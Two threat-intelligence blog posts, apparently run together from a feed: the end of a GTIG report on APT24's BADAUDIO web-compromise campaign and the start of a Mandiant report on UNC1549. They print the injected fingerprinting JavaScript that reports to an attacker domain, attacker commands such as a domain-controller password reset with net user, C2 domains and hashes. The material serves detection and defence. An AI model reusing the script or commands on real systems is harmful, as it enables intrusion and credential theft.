    Beginning in November 2022 we observed over 20 compromised websites spanning a broad array of subjects from regional industrial concerns to recreational goods, suggesting an opportunistic approach to initial access with true targeting selectively executed against visitors the attackers identified via fingerprinting. The legitimate websites were weaponized through the injection of a malicious JavaScript payload.

    Strategic web compromise attack flow to deliver BADAUDIO malware

    Figure 5: Strategic web compromise attack flow to deliver BADAUDIO malware

    This script exhibited an initial layer of targeting, specifically excluding macOS, iOS, Android, and various Microsoft Internet Explorer/Edge browser variants to focus exclusively on Windows systems. This selectivity suggests an adversary immediately narrowing their scope to optimize for a specific, likely high-value, victim profile.

    The injected JavaScript performed a critical reconnaissance function by employing the FingerprintJS library to generate a unique browser fingerprint. This fingerprint, transmitted via an HTTP request to an attacker-controlled domain, served as an implicit validation mechanism. Upon successful validation, the victim was presented with a fabricated pop-up dialog, engineered to trick the user into downloading and executing BADAUDIO malware.

    $(window).ready(function() {
        var userAgent = navigator.userAgent;
        var isIE = userAgent.indexOf("compatible") > -1 && userAgent.indexOf("MSIE") > -1;
        var isEdge = userAgent.indexOf("Edge") > -1 && !isIE;
        var isIE11 = userAgent.indexOf('Trident') > -1 && userAgent.indexOf("rv:11.0") > -1;
        var isMac = userAgent.indexOf('Macintosh') > -1;
        var isiPhone = userAgent.indexOf('iPhone') > -1;
        var isFireFox = userAgent.indexOf('Firefox') > -1;
        if (!isIE && !isEdge && !isIE11 && !isMac && !isiPhone && !isFireFox) {
            var tag_script = document.createElement("script");
            tag_script.type = "text/javascript";
            tag_script.src = "https://cdn.jsdelivr.net/npm/@fingerprintjs/fingerprintjs@2/dist/fingerprint2.min.js";
            tag_script.onload = "initFingerprintJS()";
            document.body.appendChild(tag_script);
            if (typeof(callback) !== "undefined") {
                tag_script.onload = function() {
                    callback();
                }
            }
            function callback() {
                var option = {
                    excludes: {
                        screenResolution: true,
                        availableScreenResolution: true,
                        enumerateDevices: true
                    }
                }
                new Fingerprint2.get(option, function(components) {
                    var values = components.map(function(component) {
                        return component.value
                    })
                    var murmur = Fingerprint2.x64hash128(values.join(''), 31);
                    console.log(murmur)
                    var script_tag = document.createElement("script");
                    script_tag.setAttribute("src", "https://www[.]twisinbeth[.]com/query.php?id=" + murmur);
                    document.body.appendChild(script_tag);
                });
            }
        }
    });

    Figure 6: Early malicious fingerprinting JS used in strategic web compromise campaigns

    Example of attacker fake update pop-up dialog impersonating Chrome to lure targets to download and execute BADAUDIO malware

    Figure 7: Example of attacker fake update pop-up dialog impersonating Chrome to lure targets to download and execute BADAUDIO malware

    The attackers consistently shift their infrastructure, using a mix of newly registered domains and domains they have previously compromised. We last observed this tactic in early September 2025.

    Escalation: Supply Chain Compromise for Strategic Web Compromises at Scale 

    In July 2024, APT24 compromised a regional digital marketing firm in Taiwan- a supply chain attack that impacted more than 1,000 domains. Notably, the firm experienced multiple re-compromises over the last year, demonstrating APT24's persistent commitment to the operation.

    We initiated a multifaceted remediation effort to disrupt these threats. In addition to developing custom logic to identify and block the modified, malicious JavaScript, GTIG distributed victim notifications to the individual compromised websites and the compromised marketing firm. These notifications provided specific details about the threat and the modifications made to the original script, enabling affected organizations to secure their sites and prevent future infections.

    In the first iteration of the supply chain compromise, APT24 injected the malicious script into a widely used JavaScript library (MITRE ATT&CK T1195.001) provided by the firm, leveraging a typosquatting domain to impersonate a legitimate Content Delivery Network (CDN). The deobfuscated JavaScript reveals a multi-stage infection chain:

    • Dynamic Dependency Loading: The script dynamically loads legitimate jQuery and FingerprintJS2 libraries (MITRE ATT&CK T1059.007) from a public CDN if not already present, ensuring consistent execution across diverse web environments.

    • Multi-Layer JS Concealment: During a re-compromise discovered in July 2025, the adversary took additional steps to hide their malicious code. The highly obfuscated script (MITRE ATT&CK T1059) was deliberately placed within a maliciously modified JSON file served by the vendor, which was then loaded and executed by another compromised JavaScript file. This tactic effectively concealed the final payload in a file type and structure not typically associated with code execution.

    • Advanced Fingerprinting: FingerprintJS2 is utilized to generate an x64hash128 browser and environmental fingerprint (MITRE ATT&CK T1082) . The x64hash128 is the resulting 128-bit hash value produced by the MurmurHash3 algorithm, which processes a large input string of collected browser characteristics (such as screen resolution, installed fonts, and GPU details) to create a unique, consistent identifier for the user's device.

    • Covert Data Exfiltration and Staging: A POST request, transmitting Base64-encoded reconnaissance data (including host, url, useragent, fingerprint, referrer, time, and a unique identifier), is sent to an attacker's endpoint (MITRE ATT&CK T1041). 

    • Adaptive Payload Delivery: Successful C2 responses trigger the dynamic loading of a subsequent script from a URL provided in the response's data field. This cloaked redirect leads to BADAUDIO landing pages, contingent on the attacker's C2 logic and fingerprint assessment (MITRE ATT&CK T1105).

    • Tailored Targeting: The compromise in June 2025 initially employed conditional script loading based on a unique web ID (the specific domain name) related to the website using the compromised third-party scripts. This suggests tailored targeting, limiting the strategic web compromise (MITRE ATT&CK T1189) to a single domain. However, for a ten-day period in August, the conditions were temporarily lifted, allowing all 1,000 domains using the scripts to be compromised before the original restriction was reimposed.

    Compromised JS supply chain attack to deliver BADAUDIO malware

    Figure 8: Compromised JS supply chain attack to deliver BADAUDIO malware

    Targeted Phishing Campaigns

    Complementing their broader web-based attacks, APT24 concurrently conducted highly targeted social engineering campaigns. Lures, such as an email purporting to be from an animal rescue organization, leveraged social engineering to elicit user interaction and drive direct malware downloads from attacker-controlled domains.

    Separate campaigns abused legitimate cloud storage platforms including Google Drive and OneDrive to distribute encrypted archives containing BADAUDIO. Google protected users by diverting these messages to spam, disrupting the threat actor’s effort to leverage reputable services in their campaigns.

    APT24 included pixel tracking links, confirming email opens and potentially validating target interest for subsequent exploitation. This dual-pronged approach—leveraging widely trusted cloud services and explicit tracking—enhances their ability to conduct effective, personalized campaigns.

    Outlook

    This nearly three-year campaign is a clear example of the continued evolution of APT24’s operational capabilities and highlights the sophistication of PRC-nexus threat actors. The use of advanced techniques like supply chain compromise, multi-layered social engineering, and the abuse of legitimate cloud services demonstrates the actor's capacity for persistent and adaptive espionage. 

    This activity follows a broader trend GTIG has observed of PRC-nexus threat actors increasingly employing stealthy tactics to avoid detection. GTIG actively monitors ongoing threats from actors like APT24 to protect users and customers. As part of this effort, Google continuously updates its protections and has taken specific action against this campaign.

    We are committed to sharing our findings with the security community to raise awareness and to disrupt this activity. We hope that improved understanding of tactics and techniques will enhance threat hunting capabilities and lead to stronger user protections across the industry.

    Acknowledgements 

    This analysis would not have been possible without the assistance from FLARE. We would like to specifically thank Ray Leong, Jay Gibble and Jon Daniels for their contributions to the analysis and detections for BADAUDIO.

    Indicators of Compromise

    A Google Threat Intelligence (GTI) collection of related IOCs is available to registered users.

    Strategic Web Compromise JS

    88fa2b5489d178e59d33428ba4088d114025acd1febfa8f7971f29130bda1213
    032c333eab80d58d60228691971d79b2c4cd6b9013bae53374dd986faa0f3f4c
    ae8473a027b0bcc65d1db225848904e54935736ab943edf3590b847cb571f980
    0e98baf6d3b67ca9c994eb5eb9bbd40584be68b0db9ca76f417fb3bcec9cf958
    55e02a81986aa313b663c3049d30ea0158641a451cb8190233c09bef335ef5c7

    Strategic Web Compromise — Modified Supplier JS

    07226a716d4c8e012d6fabeffe2545b3abfc0b1b9d2fccfa500d3910e27ca65b
    5c37130523c57a7d8583c1563f56a2e2f21eef5976380fdb3544be62c6ad2de5
    1f31ddd2f598bd193b125a345a709eedc3b5661b0645fc08fa19e93d83ea5459
    c4e910b443b183e6d5d4e865dd8f978fd635cd21c765d988e92a5fd60a4428f5
    2ea075c6cd3c065e541976cdc2ec381a88b748966f960965fdbe72a5ec970d4e

    BADAUDIO Binaries

    9ce49c07c6de455d37ac86d0460a8ad2544dc15fb5c2907ed61569b69eefd182
    d23ca261291e4bad67859b5d4ee295a3e1ac995b398ccd4c06d2f96340b4b5f8
    cfade5d162a3d94e4cba1e7696636499756649b571f3285dd79dea1f5311adcd
    f086c65954f911e70261c729be2cdfa2a86e39c939edee23983090198f06503c
    f1e9d57e0433e074c47ee09c5697f93fde7ff50df27317c657f399feac63373a
    176407b1e885496e62e1e761bbbb1686e8c805410e7aec4ee03c95a0c4e9876f
    c7565ed061e5e8b2f8aca67d93b994a74465e6b9b01936ecbf64c09ac6ee38b9
    83fb652af10df4574fa536700fa00ed567637b66f189d0bbdb911bd2634b4f0e

    Strategic Web Compromise — Stage 2

    www[.]availableextens[.]com
    www[.]twisinbeth[.]com
    www[.]decathlonm[.]com
    www[.]gerikinage[.]com
    www[.]p9-car[.]com
    www[.]growhth[.]com
    www[.]brighyt[.]com
    taiwantradoshows[.]com
    jsdelivrs[.]com

    BADAUDIO C2

    clients[.]brendns.workers[.]dev
    www[.]cundis[.]com
    wispy[.]geneva[.]workers[.]dev
    www[.]twisinbeth[.]com
    tradostw[.]com
    jarzoda[.]net
    trcloudflare[.]com
    roller[.]johallow.workers[.]dev

    Cobalt Strike Beacon Watermark

    Watermark_Hash: BeudtKgqnlm0Ruvf+VYxuw==

    YARA Rules

    rule G_Downloader_BADAUDIO_1 {
    	meta:
    		author = "Google Threat Intelligence Group (GTIG)"
    	strings:
    		$string_decode = { 0F 28 [1-5] 0F 29 [1-5] 0F 28 [1-5] 0F 28 [1-5] 0F 28 [1-5] 0F 55 ?? 0F 55 ?? 0F 56 ?? 0F 28 ?? 0F 55 ?? 0F 55 ?? 0F 56 ?? 0F 57 ?? 0F 2? [1-5] 0F 2? [1-5] 0F 2? }
    		$s1 = "SystemFunction036" fullword
    		$s2_b64marker = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" fullword
    		$control_flow_obfuscation = { 66 2E 0F 1F 84 00 00 00 00 00 81 [5] 7? ?? 81 [5] 7? ?? 81 [5] 7? }
    	condition:
    		uint16(0) == 0x5a4d and all of them and #string_decode > 2 and #control_flow_obfuscation > 2
    }
    rule G_Downloader_BADAUDIO_2 {
    	meta:
    		author = "Google Threat Intelligence Group (GTIG)"
    	strings:
    		$c_string_decode = { C5 F8 28 [1-24] C5 F8 57 [1-8] 0F 94 [4-128] C5 F8 29 [1-64] C5 F8 29 [1-24] C5 F8 57 [1-8] 0F 94 }
    		$s1 = "SystemFunction036" fullword
    		$s2_b64marker = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" fullword
    		$control_flow_obfuscation = { 66 2E 0F 1F 84 00 00 00 00 00 81 [5] 7? ?? 81 [5] 7? ?? 81 [5] 7? }
    		$c_part_of_control_flow_obfuscation_and_string_decode = { C5 F8 28 [1-5] 8B 46 ?? C5 F8 57 40 }
    	condition:
    		uint16(0) == 0x5a4d and all of ($s*) and #control_flow_obfuscation > 2 and ($c_string_decode or (#c_part_of_control_flow_obfuscation_and_string_decode > 5 and #c_part_of_control_flow_obfuscation_and_string_decode > 20))
    }
    rule G_APT_DOWNLOADER_BADAUDIO_3 {
        meta:
            author = "Google Threat Intelligence Group (GTIG)"
        strings:
            $s1 = "SystemFunction036"
            $s2 = "6666666666666666\\\\\\\\\\\\\\\\\\"
            $dc1 = { C1 C2 1A ?? ?? C1 C3 15 31 D3 ?? ?? C1 C2 07 }
            $dc2 = { C1 C1 1E ?? ?? C1 C6 13 ?? ?? C1 C0 0A 31 }
            $dc3 = { C1 C5 19 C1 C7 0E 01 ?? ?? ?? 31 EF C1 EB 03 31 }
            $dc4 = { C1 C7 0F 8B ?? ?? ?? ?? ?? C1 C3 0D 31 FB C1 EA 0A 31 }
            $f1 = { ( 0F 1F 84 00 00 00 00 00 | 66 2E 0F 1F 84 00 00 00 00 00 | 0F 1F 44 00 00 | 0F 1F 40 00 | 0F 1F 00 | 66 90 ) 3D [4] ( 7? ?? | 0F 8? ?? ?? ?? ?? ) 3D [4] ( 7? ?? | 0F 8? ?? ?? ?? ?? ) 3D [4] ( 7? ?? | 0F 8? ?? ?? ?? ?? ) 3D [4] ( 7? | 0F 8? ) }
            $f2 = /\x0F\x4C\xC1\x3D[\x01-\xFF].{3}([\x70-\x7f].|\x0f[\x80-\x8f].{4})\x3D[\x01-\xFF].{3}([\x70-\x7f].|\x0f[\x80-\x8f].{4})\x3D[\x01-\xFF].{3}([\x70-\x7f].|\x0f[\x80-\x8f].{4})\x3D[\x01-\xFF].{3}([\x70-\x7f].|\x0f[\x80-\x8f].{4})\x3D[\x01-\xFF].{3}([\x70-\x7f].|\x0f[\x80-\x8f].{4})/
        condition:
            all of ($s*) and 3 of ($dc*) and uint16(0) == 0x5A4D and (#f1 > 5 or #f2 > 2) and filesize < 10MB
    }
    rule G_APT_DOWNLOADER_BADAUDIO_4 {
        meta:
            author = "Google Threat Intelligence Group (GTIG)"
        strings:
            $p00_0 = {8d4d??e8[4]8b7d??83c6??eb??c745[5]e8[4]8b4d??64890d}
            $p00_1 = {568b7c24??8b7424??8b5424??89f1e8[4]f20f1007f20f104f??f20f118e}
    
        condition:
            uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and
            (
                ($p00_0 in (0..1100000) and $p00_1 in (0..990000))
            )
    }

    Frontline Intelligence: Analysis of UNC1549 TTPs, Custom Tools, and Malware Targeting the Aerospace and Defense Ecosystem

    17 November 2025 at 15:00

    Written by: Mohamed El-Banna, Daniel Lee, Mike Stokkel, Josh Goddard


    Overview

    Last year, Mandiant published a blog post highlighting suspected Iran-nexus espionage activity targeting the aerospace, aviation, and defense industries in the Middle East. In this follow-up post, Mandiant discusses additional tactics, techniques, and procedures (TTPs) observed in incidents Mandiant has responded to.

    Since mid-2024, Mandiant has responded to targeted campaigns by the threat group UNC1549 against the aerospace, aviation and defense industries. To gain initial access into these environments, UNC1549 employed a dual approach: deploying well-crafted phishing campaigns designed to steal credentials or deliver malware and exploiting trusted connections with third-party suppliers and partners.

    The latter technique is particularly strategic when targeting organizations with high security maturity, such as defense contractors. While these primary targets often invest heavily in robust defenses, their third-party partners may possess less stringent security postures. This disparity provides UNC1549 a path of lesser resistance, allowing them to circumvent the primary target's main security controls by first compromising a connected entity.

    Operating in late 2023 through 2025, UNC1549 employed sophisticated initial access vectors, including abuse of third-party relationships to gain entry (pivoting from service providers to their customers), VDI breakouts from third parties, and highly targeted, role-relevant phishing.

    Once inside, the group leverages creative lateral movement techniques, such as stealing victim source code for spear-phishing campaigns that use lookalike domains to bypass proxies, and abusing internal service ticketing systems for credential access. They employ custom tooling, notably DCSYNCER.SLICK—a variant deployed via search order hijacking to conduct DCSync attacks.

    UNC1549’s campaign is distinguished by its focus on anticipating investigators and ensuring long-term persistence after detection. They plant backdoors that beacon silently for months, only activating them to regain access after the victim has attempted eradication. They maintain stealth and command and control (C2) using extensive reverse SSH shells (which limit forensic evidence) and domains strategically mimicking the victim's industry.

    Threat Activity

    Initial Compromise

    A primary initial access vector employed by UNC1549 involved combining targeted social engineering with the exploitation of compromised third-party accounts. Leveraging credentials harvested from vendors, partners, or other trusted external entities, UNC1549 exploited legitimate access pathways inherent in these relationships.

    Third-Party Services

    Notably, the group frequently abused Citrix, VMWare, and Azure Virtual Desktop and Application services provided by victim organizations to third party partners, collaborators, and contractors. Utilizing compromised third-party credentials, they authenticated to the supplier’s infrastructure, establishing an initial foothold within the network perimeter. Post-authentication, UNC1549 used techniques designed to escape the security boundaries and restrictions of the virtualized Citrix session. This breakout granted them access to the underlying host system or adjacent network segments, and enabled the initiation of lateral movement activities deeper within the target corporate network.

    Spear Phishing

    UNC1549 utilized targeted spear-phishing emails as one of the methods to gain initial network access. These emails used lures related to job opportunities or recruitment efforts, aiming to trick recipients into downloading and running malware hidden in attachments or links. Figure 1 shows a sample phishing email sent to one of the victims.

    Screenshot of a phishing email sent by UNC1549

    Figure 1: Screenshot of a phishing email sent by UNC1549

    Following a successful breach, Mandiant observed UNC1549 pivoting to spear-phishing campaigns specifically targeting IT staff and administrators. The goal of this campaign was to obtain credentials with higher permissions. To make these phishing attempts more believable, the attackers often perform reconnaissance first, such as reviewing older emails in already compromised inboxes for legitimate password reset requests or identifying the company's internal password reset webpages, then crafted their malicious emails to mimic these authentic processes.

    Establish Foothold

    To maintain persistence within compromised networks, UNC1549 deployed several custom backdoors. Beyond MINIBIKE, which Mandiant discussed in the February 2024 blog post, the group also utilizes other custom malware such as TWOSTROKE and DEEPROOT. Significantly, Mandiant's analysis revealed that while the malware used for initial targeting and compromises was not unique, every post-exploitation payload identified, regardless of family, had a unique hash. This included instances where multiple samples of the same backdoor variant were found within the same victim network. This approach highlights UNC1549's sophistication and the considerable effort invested in customizing their tools to evade detection and complicate forensic investigations.

    Search Order Hijacking

    UNC1549 abused DLL search order hijacking to execute CRASHPAD, DCSYNCER.SLICK, GHOSTLINE, LIGHTRAIL, MINIBIKE, POLLBLEND, SIGHTGRAB, and TWOSTROKE payloads. Using the DLL search order hijacking techniques, UNC1549 achieved a persistent and stealthy way of executing their tooling.

    Throughout the different investigations, UNC1549 demonstrated a comprehensive understanding of software dependencies by exploiting DLL search order hijacking in multiple software solutions. UNC1549 has deployed malicious binaries targeting legitimate Fortigate, VMWare, Citrix, Microsoft, and NVIDIA executables. In many cases, the threat actor installed the legitimate software after initial access in order to abuse SOH; however, in other cases, the attacker leveraged software that was already installed on victim systems and then replaced or added the malicious DLLs within the legitimate installation directory, typically with SYSTEM privileges.

    TWOSTROKE

    TWOSTROKE, a C++ backdoor, utilizes SSL-encrypted TCP/443 connections to communicate with its controllers. This malware possesses a diverse command set, allowing for system information collection, DLL loading, file manipulation, and persistence. While showing some similarities to MINIBIKE, it's considered a unique backdoor.

    Upon execution of TWOSTROKE, it employs a specific routine to generate a unique victim identifier. TWOSTRIKE retrieves the fully qualified DNS computer name using the Windows API function GetComputerNameExW(ComputerNameDnsFullyQualified). This retrieved name then undergoes an XOR encryption process, utilizing the static key. Following the encryption, the resulting binary data is converted into a lowercase hexadecimal string. 

    Finally, TWOSTROKE extracts the first eight characters of this hexadecimal string, reverses it, and uses it as the victim's unique bot ID for later communication with the C2 server.

    Functionalities

    After sending the check in request to the C2 server, the TWOSTROKE C2 server returns with a hex-encoded payload that contains multiple values separated by "@##@." Depending on the received command, TWOSTROKE can execute one of the following commands:

    • 1: Upload a file to the C2

    • 2: Execute a file or a shell command

    • 3: DLL execution into memory

    • 4: Download file from the C2

    • 5: Get the full victim user name

    • 6: Get the full victim machine name

    • 7: List a directory

    • 8: Delete a file

    LIGHTRAIL

    UNC1549 was observed downloading a ZIP file from attacker-owned infrastructure. This ZIP file contained the LIGHTRAIL tunneler as VGAuth.dll and was executed through search order hijacking using the VGAuthCLI.exe executable. LIGHTRAIL is a custom tunneler, likely based on the open-source Socks4a proxy, Lastenzug, that communicates using Azure cloud infrastructure. 

    There are several distinct differences between the LIGHTRAIL sample and the LastenZug source code. These include:

    • Increasing the MAX_CONNECTIONS from 250 to 5000

    • Static configuration inside the lastenzug function (wPath and port)

    • No support for using a proxy server when connecting to the WebSocket C2

    • Compiler optimizations reducing the number of functions (26 to 10)

    Additionally, LastenZug is using hashing for DLLs and API function resolving. By default, the hash value is XOR’d with the value 0x41507712, while the XOR value in the observed LIGHTRAIL sample differs from the original source code - 0x41424344 (‘ABCD’).

    After loading the necessary API function pointers, the initialization continues by populating the server name (wServerName), the port, and URI (wPath) values. The port is hardcoded at 443 (for HTTPS) and the path is hardcoded to "/news." This differs from the source code where these values are input parameters to the lastenzug function.

    The initWS function is responsible for establishing the WebSocket connection, which it does using the Windows WinHTTP API. The initWS function has a hard-coded User-Agent string which it constructs as a stack string:

    Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10136

    Mandiant identified another LIGHTRAIL sample uploaded to VirusTotal from Germany. However, this sample seems to have been modified by the uploader as the C2 domain was intentionally altered.

    GET https://aaaaaaaaaaaaaaaaaa.bbbbbb.cccccccc.ddddd.com/page HTTP/1.1
    Host: aaaaaaaaaaaaaaaaaa.bbbbbb.cccccccc.ddddd.com
    Connection: Upgrade
    Upgrade: websocket
    User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.37 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10136
    Sec-WebSocket-Key: 9MeEoJ3sjbWAEed52LdRdg==
    Sec-WebSocket-Version: 13

    Figure 2: Modified LIGHTRAIL network communication snippet

    Most notable is that this sample is using a different URL path for its communication, but also the User-Agent in this sample is different from the one that was observed in previous LIGHTRAIL samples and the LastenZug source code.

    DEEPROOT

    DEEPROOT is a Linux backdoor written in Golang and supports the following functionalities: shell command execution, system information enumeration and file listing, delete, upload, and download. DEEPROOT was compiled to be operating on Linux systems; however, due to Golang’s architecture DEEPROOT could also be compiled for other operating systems. At the time of writing, Mandiant has not observed any DEEPROOT samples targeting Windows systems.

    DEEPROOT was observed using multiple C2 domains hosted in Microsoft Azure. The observed DEEPROOT samples used multiple C2 servers per binary, suspected to be used for redundancy in case one C2 server has been taken down.

    Functionalities

    After sending the check in request to the C2 server, the DEEPROOT C2 server returns with a hex-encoded payload that contains multiple values separated by ‘-===-

    <sleep_timeout>-===-<command_id>-===-<command>-===-<argument_1>-===-<argument_2>

    Figure 3: Decoded POST body data structure

    • sleep_timeout is the time in milli-seconds to wait before making the next request.

    • command_id is an identifier for the C2 command, used by the backdoor when responding to the C2 with the result.

    • command is the command number and it's one of the following:

      • 1 - Get directory information (directory listing), the directory path is received in argument_1.

      • 2 - Delete a file, the file path is received in argument_1.

      • 3 - Get the victim username.

      • 4 - Get the victim's hostname.

      • 5 - Execute a shell command, the shell command is received in argument_1.

      • 6 - Download a file from the C2, the C2 file path is received in argument_1 and the local file path is received in argument_2.

      • 7 - Upload a file to the C2, the local file path is received in argument_1.

    • argument_1 and argument_2 are the command arguments and it is optional.

    GHOSTLINE

    GHOSTLINE is a Windows tunneler utility written in Golang that uses a hard-coded domain for its communication. GHOSTLINE uses the go-yamux library for its network connection.

    POLLBLEND

    POLLBLEND is a Windows tunneler that is written in C++. Earlier iterations of POLLBLEND featured multiple hardcoded C2 servers and utilized two hardcoded URI parameters for self-registration and tunneler configuration download. For the registration of the machine, POLLBLEND would reach out to /register/ and sent a HTTP POST request with the following JSON body.

    {"username": "<computer_name>"}

    Figure 4: POLLBLEND body data

    Code Signing

    Throughout the tracking of UNC1549’s activity across multiple intrusions, the Iranian-backed threat group was observed signing some of their backdoor binaries with legitimate code-signing certificates—a tactic also covered by Check Point—likely to help their malware evade detection and bypass security controls like application allowlists, which are often configured to trust digitally signed code. The group employed this technique to weaponize malware samples, including variants for GHOSTLINE, POLLBLEND, and TWOSTROKE. All identified code-signing certificates have been reported to the relevant issuing Certificate Authorities for revocation.

    Escalate Privileges

    UNC1549 has been observed using a variety of techniques and custom tools aimed at stealing credentials and gathering sensitive data post-compromise. This included a utility, tracked as DCSYNCER.SLICK, designed to mimic the DCSync Active Directory replication feature. DCSync is a legitimate function domain controllers use for replicating changes via RPC. This allowed the attackers to extract NTLM password hashes directly from the domain controllers. Another tool, dubbed CRASHPAD, focused on extracting credentials saved within web browsers. For visual data collection, they deployed SIGHTGRAB, a tool capable of taking periodic screenshots, potentially capturing sensitive information displayed on the user's screen. Additionally, UNC1549 utilized simpler methods, such as deploying TRUSTTRAP, which presented fake popup windows prompting users to enter their credentials, which were then harvested by the attackers.

    UNC1549 frequently used DCSync attacks to obtain NTLM password hashes for domain users, which they then cracked in order to facilitate lateral movement and privilege escalation. To gain the necessary directory replication rights for DCSync, the threat actor employed several methods. They were observed unconventionally resetting passwords for domain controller computer accounts using net.exe. This action typically broke the domain controller functionality of the host and caused an outage, yet it successfully enabled them to perform the DCSync operation and extract sensitive credentials, including those for domain administrators and Azure AD Connect accounts. UNC1549 leveraged other techniques to gain domain replication rights, including creating rogue computer accounts and abusing Resource-Based Constrained Delegation (RBCD) assignments. They also performed Kerberoasting, utilizing obfuscated Invoke-Kerberoast scripts, for credential theft.

    net user DC-01$ P@ssw0rd

    Figure 5: Example of an UNC1549 net.exe command to reset a domain controller computer account

    In some cases, shortly after gaining a foothold on workstations, UNC1549 discovered vulnerable Active Directory Certificate Services templates. They used these to request certificates, allowing them to impersonate higher-privileged user accounts.

    UNC1549 also frequently targeted saved credentials within web browsers, either through malicious utilities or by RDP session hijacking. In the latter, the threat actor would identify which user was logged onto a system through quser.exe or wmic.exe, and then RDP to that system with the user's account to gain access to their active and unlocked web browser sessions.

    DCSYNCER.SLICK

    DCSYNCER.SLICK is a Windows executable that is based on the Open source Project DCSyncer and is based on Mimikatz source code. DCSYNCER.SLICK has been modified to use Dynamic API resolution and has all its printf statements removed.

    Additionally, DCSYNCER.SLICK collects and XOR-encrypts the credentials before writing them to a hardcoded filename and path. The following hardcoded filenames and paths were observed being used by DCSYNCER.SLICK:

    • C:\users\public\LOG.txt
    • C:\Program Files\VMware\VMware Tools\VMware VGAuth\LOG.txt

    To evade detection, UNC1549 executed the malware within the context of a compromised domain controller computer account. They achieved this compromise by manually resetting the account password. Instead of utilizing the standard netdom command, UNC1549 used the Windows command net user <computer_name> <password>. Subsequently, they used these newly acquired credentials to execute the DCSYNCER.SLICK payload. This tactic would give the false impression that replication had occurred between two legitimate domain controllers.

    CRASHPAD

    CRASHPAD is a Windows executable that is written in C++ that decrypts the content of the file config.txt into the file crash.log by impersonating the explorer.exe user privilege and through the CryptUnprotectData API.

    • C:\Program Files\VMware\VMware Tools\VMware VGAuth\crash.log

    • C:\Program Files\VMware\VMware Tools\VMware VGAuth\config.txt

    The contents of these files could not be determined because UNC1549 deleted the output after CRASHPAD was executed.

    The CRASHPAD configuration and output file paths were hardcoded into the sample, similar to the LOG.txt filename found in the DCSYNCER.SLICK binary.

    SIGHTGRAB

    SIGHTGRAB is a Windows executable written in C that autonomously captures screen shots at regular intervals and saves them to disk. Upon execution SIGHTGRAB loads several Windows libraries dynamically at runtime including User32.dll, Gdi32.dll, and Ole32.dll. SIGHTGRAB implements runtime API resolution through LoadLibraryA and GetProcAddress calls with encoded strings to access system functions. SIGHTGRAB uses XOR encryption with a single-byte key of 0x41 to decode API function names.

    SIGHTGRAB retrieves the current timestamp and uses string interpolation of YYYY-MM-DD-HH-MM on the timestamp to generate the directory name. In this newly created directory, SIGHTGRAB saves all the taken screenshots incrementally.

    C:\Users\Public\Videos\2025-3-7-10-17\1.jpg
    C:\Users\Public\Videos\2025-3-7-10-17\2.jpg
    C:\Users\Public\Videos\2025-3-7-10-17\3.jpg
    
    C:\Users\Public\Music\2025-3-7-10-17\1.jpg
    C:\Users\Public\Music\2025-3-7-10-17\2.jpg
    C:\Users\Public\Music\2025-3-7-10-17\3.jpg

    Figure 6: Examples of screenshot files created by SIGHTGRAB on disk

    Mandiant observed UNC1549 strategically deploy SIGHTGRAB on workstations to target users in two categories: those handling sensitive data, allowing for subsequent data exposure and exfiltration, and those with privileged access, enabling privilege escalation and access to restricted systems.

    TRUSTTRAP

    A malware that serves a Windows prompt to trick the user into submitting their credentials. The captured credentials are saved in cleartext to a file. Figure 7 shows a sample popup by TRUSTTRAP mimicking the Microsoft Outlook login window.

    Screenshot showing the fake Microsoft Outlook login window

    Figure 7: Screenshot showing the fake Microsoft Outlook login window

    TRUSTTRAP has been used by UNC1549 since at least 2023 for obtaining user credentials used for lateral movement.

    Reconnaissance and Lateral Movement

    For internal reconnaissance, UNC1549 leveraged legitimate tools and publicly available utilities, likely to blend in with standard administrative activities. AD Explorer, a valid executable signed by Microsoft, was used to query Active Directory and inspect its configuration details. Alongside this, the group employed native Windows commands like net user and net group to enumerate specific user accounts and group memberships within the domain, and PowerShell scripts for ping and port scanning reconnaissance on specific subnets, typically those associated with privileged servers or IT administrator workstations 

    UNC1549 uses a wide variety of methods for lateral movement, depending on restrictions within the victim environment. Most frequently, RDP was used. Mandiant also observed the use of PowerShell Remoting, Atelier Web Remote Commander (“AWRC”), and SCCM remote control, including execution of variants of SCCMVNC to enable SCCM remote control on systems.

    Atelier Web Remote Commander

    Atelier Web Remote Commander (AWRC) is a commercial utility for remotely managing, auditing, and supporting Windows systems. Its key distinction is its agentless design, meaning it requires no software installation or pre-configuration on the remote machine, enabling administrators to connect immediately. 

    Leveraging the capabilities of AWRC, UNC1549 utilized this publicly available commercial tool to facilitate post-compromise activities. These activities included:

    • Established remote connections: Used AWRC to connect remotely to targeted hosts within the compromised network

    • Conducted reconnaissance: Employed AWRC's built-in functions to gather information by:

      • Enumerating running services

      • Enumerating active processes

      • Enumerating existing RDP sessions

    • Stole credentials: Exploited AWRC to exfiltrate sensitive browser files known to contain stored user credentials from remote systems

    • Deployed malware: Used AWRC as a vector to transfer and deploy malware onto compromised machines

    SCCMVNC

    SCCMVNC is a tool designed to leverage the existing Remote Control feature within Microsoft System Center Configuration Manager (SCCM/ConfigMgr) to achieve a VNC-like remote access experience without requiring additional third-party modules or user consent/notifications.

    SCCM.exe reconfig /target:[REDACTED]

    Figure 8: Example of an UNC1549 executing SCCMVNC command

    The core functionality of SCCMVNC lies in its ability to manipulate the existing Remote Control feature of SCCM. Instead of deploying a separate VNC server or other remote access software, the tool directly interacts with and reconfigures the settings of the native SCCM Remote Control service on a client workstation. This approach leverages an already present and trusted component within the enterprise environment.

    A key aspect of SCCMVNC is its capacity to bypass the standard consent and notification mechanisms typically associated with SCCM Remote Control. Normally, when an SCCM remote control session is initiated, the end-user is prompted for permission, and various notification icons or connection bars are displayed. SCCMVNC effectively reconfigures the underlying SCCM settings (primarily through WMI interactions) to disable these user-facing requirements. This alteration allows for a significantly more discreet and seamless remote access experience, akin to what one might expect from a VNC connection where the user might not be immediately aware of the ongoing session.

    Command and Control

